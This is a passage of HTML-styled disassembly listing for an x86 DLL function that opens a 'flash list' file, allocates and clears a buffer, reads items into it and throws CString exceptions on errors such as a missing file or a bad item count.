</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_10 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-0Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">hFile </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0
.text:100022F0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebp, esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset SEH_100022F0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022FA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, large fs:</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002300 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002301 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov large fs:</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">, esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002308 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">140h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000230E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000230F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002310 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002311 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">hFile</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002314 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002316 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_10</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002319 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hTemplateFile
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000231A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">80h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwFlagsAndAttributes
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000231F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">3 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwCreationDisposition
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002321 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpSecurityAttributes
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002322 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">1 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwShareMode
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002324 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">80000000h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwDesiredAccess
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002329 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpFileName
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000232A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000232D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002330 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">CreateFileA
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002336 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002339 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_10002371
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000233B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hObject
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000233C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call ds:</span><span style="color: magenta; font-family: 'Liberation Mono'; white-space: pre;">CloseHandle
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002342 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002344 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpFileName
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002345 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10004220
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000234A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebx, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000234C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000234F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp ebx, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002351 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_24</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002354 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">ja short loc_100023BD
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002356 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset aError_flash_it </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; "ERROR_FLASH_ITEM_COUNT"
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000235B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_40</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000235E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??0CString@@QAE@PBD@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; CString::CString(char const *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002363 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_40</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002366 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_10006950
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000236B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000236C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002371 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002371
.text:10002371 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10002371: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+49j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002371 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset asc_100081E4 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; "\r\n"
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002376 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">hFile</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002379 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??0CString@@QAE@PBD@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; CString::CString(char const *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000237E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esi, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002380 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset aError_file_no_ </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; "ERROR_FILE_NO_EXISTS: "
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002385 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_24</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002388 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov byte ptr [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">1
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000238C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??0CString@@QAE@PBD@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; CString::CString(char const *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002391 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002392 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002393 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002396 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov byte ptr [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">2
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000239A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000239B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??H@YG?AVCString@@ABV0@PBD@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator+(CString const &,char const *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023A0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023A1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_3C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023A4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023A5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023A6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov byte ptr [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">3
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023AA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??H@YG?AVCString@@ABV0@0@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator+(CString const &,CString const &)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023AF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea edx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_3C</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023B2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_10006950
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023B7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023B8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023BD </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023BD
.text:100023BD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100023BD: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+64j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023BD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023BF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">shl eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">5
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023C2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add eax, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023C4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [eax+eax*4]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023C7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea edx, [ebx+ecx*2]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023CA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">shl edx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">1
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023CC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; unsigned int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023CD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??2@YAPAXI@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator new(uint)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023D2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023D5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp eax, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023D7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023DA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_1000240A
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023DC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023DF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esi, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">296h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023E4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023E6
.text:100023E6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100023E6: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+114j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023E6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023E9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">dec ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023EA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023ED </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">js short loc_10002406
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023EF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0A5h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023F4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023F6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023F8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add edx, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023FA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">rep stosd
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023FC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">stosw
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100023FE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">hFile</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002401 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002404 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp short loc_100023E6
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002406 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002406
.text:10002406 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10002406: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+FDj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002406 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002408 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp short loc_1000240C
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240A </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240A
.text:1000240A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000240A: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+EAj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240C
.text:1000240C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000240C: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+118j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000240F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002411 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hFile
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002412 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002415 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_100043D0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000241A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">14h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000241D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp eax, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000241F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_1000243C
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002421 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset aError_flashlis </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; "ERROR_FlashListApi_ReadItem\r\n"
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002426 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea ecx, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_44</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002429 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??0CString@@QAE@PBD@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; CString::CString(char const *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000242E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_44</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002431 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset unk_10006950
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002436 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
